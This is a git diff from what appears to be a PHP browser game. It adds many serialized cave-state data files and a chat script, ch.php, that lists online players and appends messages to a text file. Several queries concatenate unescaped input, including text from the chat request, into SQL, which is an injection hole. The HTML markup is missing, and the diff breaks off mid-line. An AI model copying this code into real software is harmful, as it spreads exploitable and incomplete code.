b/cavedata/11085-2.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/11085-3.dat b/cavedata/11085-3.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/11085-3.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/11085-4.dat b/cavedata/11085-4.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/11085-4.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/11103-1.dat b/cavedata/11103-1.dat new file mode 100644 index 0000000..548fee4 --- /dev/null +++ b/cavedata/11103-1.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1482788587;} \ No newline at end of file diff --git a/cavedata/11103-2.dat b/cavedata/11103-2.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/11103-2.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/11103-3.dat b/cavedata/11103-3.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/11103-3.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/11103-4.dat b/cavedata/11103-4.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/11103-4.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/11118-1.dat b/cavedata/11118-1.dat new file mode 100644 index 0000000..42268ea --- /dev/null +++ b/cavedata/11118-1.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1482890334;} \ No newline at end of file diff --git a/cavedata/11118-2.dat b/cavedata/11118-2.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/11118-2.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/11118-3.dat b/cavedata/11118-3.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/11118-3.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/11118-4.dat b/cavedata/11118-4.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/11118-4.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/11160-1.dat b/cavedata/11160-1.dat new file mode 100644 index 0000000..6759a70 --- /dev/null +++ b/cavedata/11160-1.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1483563681;} \ No newline at end of file diff --git a/cavedata/11160-2.dat b/cavedata/11160-2.dat new file mode 100644 index 0000000..8cb6c3c --- /dev/null +++ b/cavedata/11160-2.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1483564016;} \ No newline at end of file diff --git a/cavedata/11160-3.dat b/cavedata/11160-3.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/11160-3.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/11160-4.dat b/cavedata/11160-4.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/11160-4.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/11174-1.dat b/cavedata/11174-1.dat new file mode 100644 index 0000000..209d4f0 --- /dev/null +++ b/cavedata/11174-1.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1483644745;} \ No newline at end of file diff --git a/cavedata/11174-2.dat b/cavedata/11174-2.dat new file mode 100644 index 0000000..ce731b6 --- /dev/null +++ b/cavedata/11174-2.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1483645031;} \ No newline at end of file diff --git a/cavedata/11174-3.dat b/cavedata/11174-3.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/11174-3.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/11174-4.dat b/cavedata/11174-4.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/11174-4.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/11180-1.dat b/cavedata/11180-1.dat new file mode 100644 index 0000000..789616c --- /dev/null +++ b/cavedata/11180-1.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1486154011;} \ No newline at end of file diff --git a/cavedata/11180-2.dat b/cavedata/11180-2.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/11180-2.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/11180-3.dat b/cavedata/11180-3.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/11180-3.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/11180-4.dat b/cavedata/11180-4.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/11180-4.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/11188-1.dat b/cavedata/11188-1.dat new file mode 100644 index 0000000..fb06fee --- /dev/null +++ b/cavedata/11188-1.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1485004888;} \ No newline at end of file diff --git a/cavedata/11188-2.dat b/cavedata/11188-2.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/11188-2.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/11188-3.dat b/cavedata/11188-3.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/11188-3.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/11188-4.dat b/cavedata/11188-4.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/11188-4.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/11238-1.dat b/cavedata/11238-1.dat new file mode 100644 index 0000000..863b847 --- /dev/null +++ b/cavedata/11238-1.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1484746387;} \ No newline at end of file diff --git a/cavedata/11238-2.dat b/cavedata/11238-2.dat new file mode 100644 index 0000000..6e85281 --- /dev/null +++ b/cavedata/11238-2.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1484748102;} \ No newline at end of file diff --git a/cavedata/11238-3.dat b/cavedata/11238-3.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/11238-3.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/11238-4.dat b/cavedata/11238-4.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/11238-4.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/11240-1.dat b/cavedata/11240-1.dat new file mode 100644 index 0000000..2022973 --- /dev/null +++ b/cavedata/11240-1.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1484714338;} \ No newline at end of file diff --git a/cavedata/11240-2.dat b/cavedata/11240-2.dat new file mode 100644 index 0000000..d4cf008 --- /dev/null +++ b/cavedata/11240-2.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1484715218;} \ No newline at end of file diff --git a/cavedata/11240-3.dat b/cavedata/11240-3.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/11240-3.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/11240-4.dat b/cavedata/11240-4.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/11240-4.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/777-1.dat b/cavedata/777-1.dat new file mode 100644 index 0000000..eab7a2d --- /dev/null +++ b/cavedata/777-1.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1448211269;} \ No newline at end of file diff --git a/cavedata/777-2.dat b/cavedata/777-2.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/777-2.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/777-3.dat b/cavedata/777-3.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/777-3.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/777-4.dat b/cavedata/777-4.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/777-4.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/9079-1.dat b/cavedata/9079-1.dat new file mode 100644 index 0000000..6a10e2a --- /dev/null +++ b/cavedata/9079-1.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1437945540;} \ No newline at end of file diff --git a/cavedata/9079-2.dat b/cavedata/9079-2.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/9079-2.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/9079-3.dat b/cavedata/9079-3.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/9079-3.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/9079-4.dat b/cavedata/9079-4.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/9079-4.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/9080-1.dat b/cavedata/9080-1.dat new file mode 100644 index 0000000..4cf3200 --- /dev/null +++ b/cavedata/9080-1.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1438328598;} \ No newline at end of file diff --git a/cavedata/9080-2.dat b/cavedata/9080-2.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/9080-2.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/9080-3.dat b/cavedata/9080-3.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/9080-3.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/9080-4.dat b/cavedata/9080-4.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/9080-4.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/9081-1.dat b/cavedata/9081-1.dat new file mode 100644 index 0000000..dffab22 --- /dev/null +++ b/cavedata/9081-1.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1446479348;} \ No newline at end of file diff --git a/cavedata/9081-2.dat b/cavedata/9081-2.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/9081-2.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/9081-3.dat b/cavedata/9081-3.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/9081-3.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/9081-4.dat b/cavedata/9081-4.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/9081-4.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/9082-1.dat b/cavedata/9082-1.dat new file mode 100644 index 0000000..0f8f6cf --- /dev/null +++ b/cavedata/9082-1.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1445362222;} \ No newline at end of file diff --git a/cavedata/9082-2.dat b/cavedata/9082-2.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/9082-2.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/9082-3.dat b/cavedata/9082-3.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/9082-3.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/9082-4.dat b/cavedata/9082-4.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/9082-4.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/9086-1.dat b/cavedata/9086-1.dat new file mode 100644 index 0000000..9872acc --- /dev/null +++ b/cavedata/9086-1.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1440843372;} \ No newline at end of file diff --git a/cavedata/9086-2.dat b/cavedata/9086-2.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/9086-2.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/9086-3.dat b/cavedata/9086-3.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/9086-3.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/9086-4.dat b/cavedata/9086-4.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/9086-4.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/9087-1.dat b/cavedata/9087-1.dat new file mode 100644 index 0000000..97d0c31 --- /dev/null +++ b/cavedata/9087-1.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1445806702;} \ No newline at end of file diff --git a/cavedata/9087-2.dat b/cavedata/9087-2.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/9087-2.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/9087-3.dat b/cavedata/9087-3.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/9087-3.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/9087-4.dat b/cavedata/9087-4.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/9087-4.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/ch.php b/ch.php new file mode 100644 index 0000000..13aa540 --- /dev/null +++ b/ch.php @@ -0,0 +1,581 @@ +top.window.location='index.php'"; die(); } +include('config.php'); +include('functions.php'); + +mysql_query("UPDATE `online` SET `real_time` = ".time()." WHERE `id` = '".$user['id']."' LIMIT 1"); + +function tolink($buf) { + $x = explode(" ", $buf); + $newbuf = ''; + for($j = 0; $j < count($x); $j++) { + if(preg_match("/(http:\\/\\/)?([a-z_0-9-.]+\\.oldcombats+\\.org(([ \"'>\r\n\t])|(\\/([^ \"'>\r\n\t]*)?)))/", $x[$j], $ok)) { + $newbuf .= str_replace($ok[2],"[Внутреняя ссылка]", str_replace("http://", "", $x[$j]))." "; + } else { + $newbuf .= $x[$j]." "; + } + } + return $newbuf; +} + + +if(isset($_GET['online']) && $_GET['online'] != null) { + if($_GET['room'] && (int)$_GET['room'] < 500) { $user['room'] = (int)$_GET['room']; } + if($_GET['chview'] == 2) { + $data = mysql_query('SELECT `align`, `u`.`id`, `klan`, `action`, `level`, `login`, `u`.`battle` AS `in_battle`, `o`.`date`, `u`.`invis`, (SELECT `id` FROM `effects` WHERE `type` = 2 AND `owner` = `u`.`id` LIMIT 1) AS `slp`, (SELECT `id` FROM `effects` WHERE (`type` = 11 OR `type` = 12 OR `type` = 13 OR `type` = 14) AND `owner` = `u`.`id` LIMIT 1) AS `trv`, `deal` FROM `online` AS `o`, `users` AS `u` WHERE `o`.`id` = `u`.`id` AND (`o`.`date` >= '.(time()-90).' OR `u`.`in_tower` = 1) AND `u`.`id` IN (SELECT `friend` FROM `friends` WHERE `user` = "'.$user['id'].'" AND `friend` > 0) ORDER by `u`.`login`'); + $ttl = "Друзья онлайн (".mysql_num_rows($data).")"; + $ch1 = '_passive'; $ch2 = '_active'; $ch3 = '_passive'; $ch4 = '_passive'; $ch5 = '_passive'; + } elseif($_GET['chview'] == 3) { + $data = mysql_query('SELECT `align`, `u`.`id`, `klan`, `action`, `level`, `login`, `u`.`battle` AS `in_battle`, `o`.`date`, `u`.`invis`, (SELECT `id` FROM `effects` WHERE `type` = 2 AND `owner` = `u`.`id` LIMIT 1) AS `slp`, (SELECT `id` FROM `effects` WHERE (`type` = 11 OR `type` = 12 OR `type` = 13 OR `type` = 14) AND `owner` = `u`.`id` LIMIT 1) AS `trv`, `deal` FROM `online` AS `o`, `users` AS `u` WHERE `o`.`id` = `u`.`id` AND (`o`.`date` >= '.(time()-90).' OR `u`.`in_tower` = 1) AND ((`u`.`align` > 1 AND `u`.`align` < 2) OR `u`.`align` = 2.99) ORDER by `u`.`login`'); + $ttl = "Паладины онлайн (".mysql_num_rows($data).")"; + $ch1 = '_passive'; $ch2 = '_passive'; $ch3 = '_active'; $ch4 = '_passive'; $ch5 = '_passive'; + } elseif($_GET['chview'] == 4) { + $data = mysql_query('SELECT `align`, `u`.`id`, `klan`, `action`, `level`, `login`, `u`.`battle` AS `in_battle`, `o`.`date`, `u`.`invis`, (SELECT `id` FROM `effects` WHERE `type` = 2 AND `owner` = `u`.`id` LIMIT 1) AS `slp`, (SELECT `id` FROM `effects` WHERE (`type` = 11 OR `type` = 12 OR `type` = 13 OR `type` = 14) AND `owner` = `u`.`id` LIMIT 1) AS `trv`, `deal` FROM `online` AS `o`, `users` AS `u` WHERE `o`.`id` = `u`.`id` AND (`o`.`date` >= '.(time()-90).' OR `u`.`in_tower` = 1) AND (`u`.`deal` > 0 OR `u`.`align` = 2.99) ORDER by `u`.`login`'); + $ttl = "Алхимики онлайн (".mysql_num_rows($data).")"; + $ch1 = '_passive'; $ch2 = '_passive'; $ch3 = '_passive'; $ch4 = '_active'; $ch5 = '_passive'; + } elseif($_GET['chview'] == 5) { + $data = mysql_query('SELECT `align`, `u`.`id`, `klan`, `action`, `level`, `login`, `u`.`battle` AS `in_battle`, `o`.`date`, `u`.`invis`, (SELECT `id` FROM `effects` WHERE `type` = 2 AND `owner` = `u`.`id` LIMIT 1) AS `slp`, (SELECT `id` FROM `effects` WHERE (`type` = 11 OR `type` = 12 OR `type` = 13 OR `type` = 14) AND `owner` = `u`.`id` LIMIT 1) AS `trv`, `deal` FROM `online` AS `o`, `users` AS `u` WHERE `o`.`id` = `u`.`id` AND (`o`.`date` >= '.(time()-90).' OR `u`.`in_tower` = 1) AND `u`.`klan` = "'.$user['klan'].'" ORDER by `u`.`login`'); + $ttl = "Соклановцы онлайн (".mysql_num_rows($data).")"; + $ch1 = '_passive'; $ch2 = '_passive'; $ch3 = '_passive'; $ch4 = '_passive'; $ch5 = '_active'; + } elseif($user['caveleader'] > 0) { + $data = mysql_query('SELECT `align`, `u`.`id`, `klan`, `level`, `login`, `u`.`battle` AS `in_battle`, `o`.`date`, `u`.`invis`, (SELECT `id` FROM `effects` WHERE `type` = 2 AND `owner` = `u`.`id` LIMIT 1) AS `slp`, (SELECT `id` FROM `effects` WHERE (`type` = 11 OR `type` = 12 OR `type` = 13 OR `type` = 14) AND `owner` = `u`.`id` LIMIT 1) AS `trv`, `deal` FROM `online` AS `o`, `users` AS `u` WHERE `o`.`id` = `u`.`id` AND (`o`.`date` >= '.(time()-90).' OR `u`.`in_tower` = 1) AND `o`.`room` = "'.$user['room'].'" AND `u`.`caveleader` = "'.$user['caveleader'].'" ORDER by `u`.`login`'); + $ttl = "".$rooms[$user['room']]." (".mysql_num_rows($data).")"; + $ch1 = '_active'; $ch2 = '_passive'; $ch3 = '_passive'; $ch4 = '_passive'; $ch5 = '_passive'; + } elseif($user['room'] == 760) { + $forest = mysql_fetch_array(mysql_query('SELECT `id`, `room`, `time`, `user`, `data` FROM `forest` WHERE `user` = "'.$user['id'].'" LIMIT 1')); + $sp = mysql_query('SELECT `id`, `room`, `user` FROM `forest` WHERE `room` = "'.$forest['room'].'"'); + while($pl = mysql_fetch_array($sp)) { + $uss .= ', '; + $uss .= $pl['user']; + } + if($uss != '') { + $uss = ltrim($uss, ', '); + } + $data = mysql_query('SELECT `align`, `u`.`id`, `klan`, `action`, `level`, `login`, `u`.`battle` AS `in_battle`, `o`.`date`, `u`.`invis`, (SELECT `id` FROM `effects` WHERE `type` = 2 AND `owner` = `u`.`id` LIMIT 1) AS `slp`, (SELECT `id` FROM `effects` WHERE (`type` = 11 OR `type` = 12 OR `type` = 13 OR `type` = 14) AND `owner` = `u`.`id` LIMIT 1) AS `trv`, `deal` FROM `online` AS `o`, `users` AS `u` WHERE `o`.`id` = `u`.`id` AND (`o`.`date` >= '.(time()-90).' OR `u`.`in_tower` = 1) AND `u`.`id` IN ('.$uss.') ORDER by `u`.`login`'); + $ttl = "".$var_map[$forest['room']]." (".mysql_num_rows($data).")"; + $ch1 = '_active'; $ch2 = '_passive'; $ch3 = '_passive'; $ch4 = '_passive'; $ch5 = '_passive'; + } else { + $data = mysql_query('SELECT `align`, `u`.`id`, `klan`, `action`, `level`, `login`, `u`.`battle` AS `in_battle`, `o`.`date`, `u`.`invis`, (SELECT `id` FROM `effects` WHERE `type` = 2 AND `owner` = `u`.`id` LIMIT 1) AS `slp`, (SELECT `id` FROM `effects` WHERE (`type` = 11 OR `type` = 12 OR `type` = 13 OR `type` = 14) AND `owner` = `u`.`id` LIMIT 1) AS `trv`, `deal` FROM `online` AS `o`, `users` AS `u` WHERE `o`.`id` = `u`.`id` AND (`o`.`date` >= '.(time()-90).' OR `u`.`in_tower` = 1) AND `o`.`room` = "'.$user['room'].'" ORDER by `u`.`login`'); + $ttl = "".$rooms[$user['room']]." (".mysql_num_rows($data).")"; + $ch1 = '_active'; $ch2 = '_passive'; $ch3 = '_passive'; $ch4 = '_passive'; $ch5 = '_passive'; + } + + +?> + + + + + + +<?=$rooms[$user['room']],' (',mysql_num_rows($data)?>) + + + + +
    + + +
    + +
    + + + + + + + + + + + + +
    +



    + + +'; + } else { + echo ''; + } +} +?> +'.$ttl.'
    '; ?> +
    +
    + +
    + + +top.location.href='index.php';"); + } + $cha = file("tmp/chat.txt"); + header('Content-Type: text/html; charset=utf-8'); + echo ""; + mysql_query("UPDATE `online` SET `date` = ".time()." WHERE `id` = {$user['id']} LIMIT 1"); + die(); + } + else + { + if (strpos($_GET['text'], "private" ) !== FALSE && $user['level'] < 1) { + preg_match_all("/\[(.*)\]/U", $_GET['text'], $matches); + for ($ii=0;$ii1 AND `align`<2)) AND `login` = '".trim($matches[1][$ii])."' LIMIT 1 ;")); + if (!$dde['id']) { + exit(); + } + } + } + if (@trim($_GET['text']) != null) { + $rr = mysql_fetch_array(mysql_query("SELECT `id` FROM `effects` WHERE `type` = 2 AND `owner` = {$user['id']};")); + + + # Ограничения на ввод символов в чат! + if (!isset($rr['id'])) { + $_GET['text'] = substr($_GET['text'], 0, 1024); // Ограничние на символы в чате! + $_GET['text'] = str_replace('<', '<', $_GET['text']); + $_GET['text'] = str_replace(']:[', '] : [', $_GET['text']); + $_GET['text'] = str_replace('>', '>', $_GET['text']); + + $_GET['text'] = preg_replace('/private \[klan-([a-zA-Z]*)\]/', '', $_GET['text']); + + if ($user['klan'] == '') { + $_GET['text'] = str_replace('private [klan]','',$_GET['text']); + $_GET['text'] = str_replace('private [klan]','private [klan-'.$user['klan'].']',$_GET['text']); + } else { + $_GET['text'] = str_replace('private [klan]','private [klan-'.$user['klan'].']',$_GET['text']); + $_GET['text'] = preg_replace('/private \[klan-([1-9])\]/','private [klan-'.$user['klan'].']',$_GET['text']); + $pos = strpos($_GET['text'],"[klan-{$user['klan']}" )+strlen($user['klan'])+7; + } + + if($_GET['chtype'] == 6 && stristr($_GET['text'], 'private') === FALSE) { + $_GET['text'] = 'private [help] '.$_GET['text']; + } elseif($_GET['chtype'] == 8 && stristr($_GET['text'], 'private') === FALSE) { + $_GET['text'] = 'private [trade] '.$_GET['text']; + } elseif($_GET['chtype'] == 3 && $user['klan'] != '') { + $_GET['text'] = 'private [klan-'.$user['klan'].'] '.$_GET['text']; + } elseif($_GET['chtype'] == 4 && (((int)$user['align'] == 1) || $user['admin'] == 1)) { + $_GET['text'] = 'private [pal] '.$_GET['text']; + } + + + if((int)$user['align'] != 1 && $user['admin'] != 1) { + $_GET['text'] = str_replace('private [pal]', '', $_GET['text']); + } + + if(strstr($_GET['text'], "/g_nologin") && (in_array($user['align'], $var_security['g_nologin']['align']) || in_array($user['id'], $var_security['g_nologin']['id']))){ + $temp = str_replace('/g_nologin', '', $_GET['text']); + AddChatSystem(''.$temp.''); + $action = 1; + unset($temp); + } + + if(strstr($_GET['text'], "/g_login") && (in_array($user['align'], $var_security['g_login']['align']) || in_array($user['id'], $var_security['g_login']['id']))) { + $temp = str_replace('/g_login', '', $_GET['text']); + AddChatSystem('['.$user['login'].'] '.$temp.''); + $action = 1; + unset($temp); + } + + #Надо запомнить и дать паладинам возможность затыкать из чата. +/* + if(strstr($_GET['text'], "/afk")) { + $action = 1; + $tmp = str_replace('/afk', '', $_GET['text']); + mysql_query("UPDATE `users` SET `action` = 'afk<>:<>{$tmp}' WHERE `id` = '{$user['id']}' LIMIT 1"); + } elseif(strstr($_GET['text'], "/dnd")) { + $action = 1; + $tmp = str_replace('/dnd', '', $_GET['text']); + mysql_query("UPDATE `users` SET `action` = 'dnd<>:<>{$tmp}' WHERE `id` = '{$user['id']}' LIMIT 1"); + } elseif(strstr($_GET['text'], "/sell")) { + $action = 1; + $tmp = str_replace('/sell', '', $_GET['text']); + mysql_query("UPDATE `users` SET `action` = 'sell<>:<>{$tmp}' WHERE `id` = '{$user['id']}' LIMIT 1"); + } elseif(strstr($_GET['text'], "/buy")) { + $action = 1; + $tmp = str_replace('/buy', '', $_GET['text']); + mysql_query("UPDATE `users` SET `action` = 'buy<>:<>{$tmp}' WHERE `id` = '{$user['id']}' LIMIT 1"); + } elseif(strstr($_GET['text'], "/off")) { + $action = 1; + mysql_query("UPDATE `users` SET `action` = '' WHERE `id` = '{$user['id']}' LIMIT 1"); + } + */ + unset($tmp); + # Упростил тот Адъ и Израиль до одной нормальной строчки, которая вырежет все ссылки. + if(!preg_match("/capitalcity.old-dark.ru/", $_GET['text']) || !preg_match("/imgur.com/", $_GET['text'])) { + $_GET['text'] = preg_replace("@((https?://)?([-\w]+\.[-\w\.]+)+\w(:\d+)?(/([-\w/_\.]*(\?\S+)?)?)*)@",'<РАП/РВС>',$_GET['text']); + } + + $smiles = array("/:flowers:/","/:inv:/","/:hug:/","/:horse:/","/:str:/","/:susel:/","/:smile:/","/:laugh:/","/:fingal:/","/:eek:/","/:smoke:/","/:hi:/","/:bye:/","/:king:/","/:king2:/","/:boks2:/","/:boks:/","/:gent:/","/:lady:/","/:tongue:/","/:smil:/","/:rotate:/","/:ponder:/","/:bow:/","/:angel:/","/:angel2:/","/:hello:/","/:dont:/","/:idea:/", "/:mol:/", "/:super:/","/:beer:/","/:drink:/","/:baby:/","/:tongue2:/", "/:sword:/", "/:agree:/","/:loveya:/","/:kiss:/","/:kiss2:/", "/:kiss3:/", "/:kiss4:/","/:rose:/","/:love:/","/:love2:/", "/:confused:/", "/:yes:/","/:no:/","/:shuffle:/","/:nono:/","/:maniac:/","/:privet:/","/:ok:/","/:ninja:/","/:pif:/", "/:smash:/","/:alien:/","/:pirate:/","/:gun:/","/:trup:/","/:mdr:/", "/:sneeze:/","/:mad:/","/:friday:/","/:cry:/","/:grust:/","/:rupor:/","/:fie:/", "/:nnn:/","/:row:/","/:red:/","/:lick:/","/:help:/","/:wink:/","/:jeer:/","/:tease:/","/:kruger:/","/:girl:/","/:Knight1:/","/:rev:/","/:smile100:/","/:smile118:/","/:smile149:/","/:smile166:/","/:smile237:/","/:smile245:/","/:smile28:/","/:smile289:/","/:smile314:/","/:smile36:/","/:smile39:/","/:smile44:/","/:smile70:/","/:smile87:/","/:smile434:/","/:vamp:/"); + $smiles2 = array("","","","","","","","","","","","","","","","","","","","","","","","","","","","","", "", "","","","","", "", "","","","", "", "","","","", "", "","","","","","","","","", "","","","","","", "","","","","","","", "","","","","","","","","","","","","","","","","","","","","","","","","","","",""); + + preg_match_all("/\[(.*)\]/U", $_GET['text'], $matches); + for($i = 0; $i < count($matches[1]); $i++) { + $prs = mysql_fetch_array(mysql_query('SELECT `id`, `auto_text`, `login` FROM `users` WHERE `login` = "'.mysql_real_escape_string($matches[1][$i]).'" LIMIT 1')); + if(isset($prs['id']) && $prs['auto_text'] == 1 && $user['login'] != $prs['login']) { + $txt = mysql_fetch_array(mysql_query('SELECT `text` FROM `auto_text` WHERE `owner` = "'.$prs['id'].'" LIMIT 1')); + $_GET['text'] = 'private ['.$user['login'].'] Атоответчик ('.$prs['login'].'): '.$txt['text']; + } + #$_GET['text'] = 'private ['.$user['login'].'] '.trim($matches[1][$i]); + } + + $prs = mysql_fetch_array(mysql_query('SELECT `id`, `auto_text`, `login` FROM `users` WHERE `login` = "'.mysql_real_escape_string($math[2]).'" LIMIT 1')); + if(isset($prs['id']) && $prs['auto_text'] == 1 && $user['login'] != $prs['login']) { + $txt = mysql_fetch_array(mysql_query('SELECT `text` FROM `auto_text` WHERE `owner` = "'.$prs['id'].'" LIMIT 1')); + $_GET['text'] = 'private ['.$user['login'].'] Атоответчик ('.$prs['login'].'): '.$txt['text']; + #addchp('Автоответчик ('.$prs['login'].'): '.$txt['text'], '{[]}'.$user['login'].'{[]}'); + } + + $_GET['text'] = preg_replace($smiles, $smiles2, $_GET['text'], 3); + $_GET['text'] = tolink($_GET['text']); + + if($user['invis'] == 1) { + $tme = mysql_fetch_row(mysql_query("SELECT `time` FROM `effects` WHERE `owner` = '$user[id]' AND `type` = '1022'")); + $user['login'] = 'невидимка '.substr($tme[0], strlen($tme[0])-4).''; + } + + # Понять бы какого чёрта условия два… Инс. + if($action != 1) { + $file = 'tmp/chat.txt'; + if (filesize("tmp/chat.txt")>100*1024) { + $line = "\r\n:[".time ()."]:[{$user['login']}]:[".($_GET['text'])."]:[".$user['room']."]\r\n"; + // Пишем содержимое в файл, + // используя флаг FILE_APPEND flag для дописывания содержимого в конец файла + // и флаг LOCK_EX для предотвращения записи данного файла кем-нибудь другим в данное время + // а то заебали устаревшие функции использовать. Инс. + file_put_contents($file, $line, FILE_APPEND | LOCK_EX); + echo"1"; + } else { + $line = ":[".time ()."]:[{$user['login']}]:[".($_GET['text'])."]:[".$user['room']."]\r\n"; + file_put_contents($file, $line, 